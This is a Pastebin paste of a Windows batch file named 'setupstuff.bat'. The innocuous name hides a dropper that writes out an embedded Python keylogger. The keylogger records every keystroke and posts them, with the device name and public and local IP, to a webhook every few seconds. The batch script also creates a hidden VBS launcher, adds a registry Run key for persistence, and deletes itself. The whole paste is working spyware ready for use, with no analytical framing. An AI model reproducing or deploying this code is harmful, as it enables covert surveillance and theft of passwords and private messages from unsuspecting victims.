Advertisement
ItDoge

setupstuff.bat

Feb 25th, 2023
1,048
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.65 KB | None | 0 0
  1. @echo off
  2.  
  3. for /f "useback delims=" %%_ in (%0) do (
  4.   if "%%_"=="___ATAD___" set $=
  5.   if defined $ echo(%%_
  6.   if "%%_"=="___DATA___" set $=1
  7. ) >> pynlog.pyw
  8. goto :next
  9.  
  10. ___DATA___
  11. #made by https://kairosking.net :)
  12. from pynput.keyboard import Listener # pip install requests
  13. from threading import Timer
  14. import requests # pip install requests
  15. import socket
  16.  
  17. msg = ""
  18. wait_between_send = 5 # in seconds
  19. webhook_url = "" # put your webhook url in the quotes
  20. api_key = "" # put your geolocation api key between the quotes > ipgeolocation.io <
  21.  
  22. def on_press(key):
  23.     try:
  24.         global msg
  25.         if len(str(key)) == 3:
  26.             key = str(key)[1:-1]
  27.             msg += str(key)
  28.         elif str(key) == "Key.space":
  29.             msg += " "
  30.         elif str(key) == "Key.enter":
  31.             msg += "\n"
  32.         elif str(key) == "Key.backspace":
  33.             #if len(msg.replace("↞", "")) > 0:
  34.                 #msg = msg[:-1]
  35.             #else:
  36.             msg += "↞"
  37.     except Exception as e:
  38.         headers = {"content-type": "application/json"}
  39.         json = {"content": f"```error: {e}```"}
  40.         r = requests.post(webhook_url, headers=headers, json=json)
  41.  
  42. def send():
  43.     try:
  44.         global msg
  45.         if len(msg) > 0:
  46.             headers = {"content-type": "application/json"}
  47.             ip = requests.get(f"https://api.ipgeolocation.io/getip?apiKey={api_key}", headers=headers).json()["ip"]
  48.             json = {"content": f"```\nDevice Name: {socket.gethostname()}\nPublic Ip: {ip}\nLocal Ip: {socket.gethostbyname(socket.gethostname())}\n\n{msg}\n```"}
  49.             r = requests.post(webhook_url, headers=headers, json=json)
  50.             msg = ""
  51.         Timer(wait_between_send, send).start()
  52.     except Exception as e:
  53.         headers = {"content-type": "application/json"}
  54.         json = {"content": f"```error: {e}```"}
  55.         r = requests.post(webhook_url, headers=headers, json=json)
  56.  
  57. listener = Listener(on_press=on_press)
  58. listener.start()
  59.  
  60. Timer(wait_between_send, send).start()
  61. ___ATAD___
  62.  
  63. :next
  64.  
  65. echo getpath = Wscript.ScriptFullName > RUNME.vbs
  66. echo Set objFSO = CreateObject^(^"Scripting.FileSystemObject^"^) >> RUNME.vbs
  67. echo Set thefile = objFSO.GetFile^(getpath^) >> RUNME.vbs
  68. echo getfolder = objFSO.GetParentFolderName(thefile) ^& ^"\runpy.bat^" >> RUNME.vbs
  69. echo CreateObject^(^"Wscript.Shell^"^).Run Chr^(34^) ^& getfolder ^& Chr^(34^)^, 0^, True >> RUNME.vbs
  70. echo ^@echo off > runpy.bat
  71. echo cd /d %%~dp0 >> runpy.bat
  72. echo python pynlog.pyw >> runpy.bat
  73.  
  74. set curpath=%~dp0
  75. reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "RUNME" /t REG_SZ /F /D "%curpath%RUNME.vbs"
  76.  
  77. del "setupstuff.bat
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement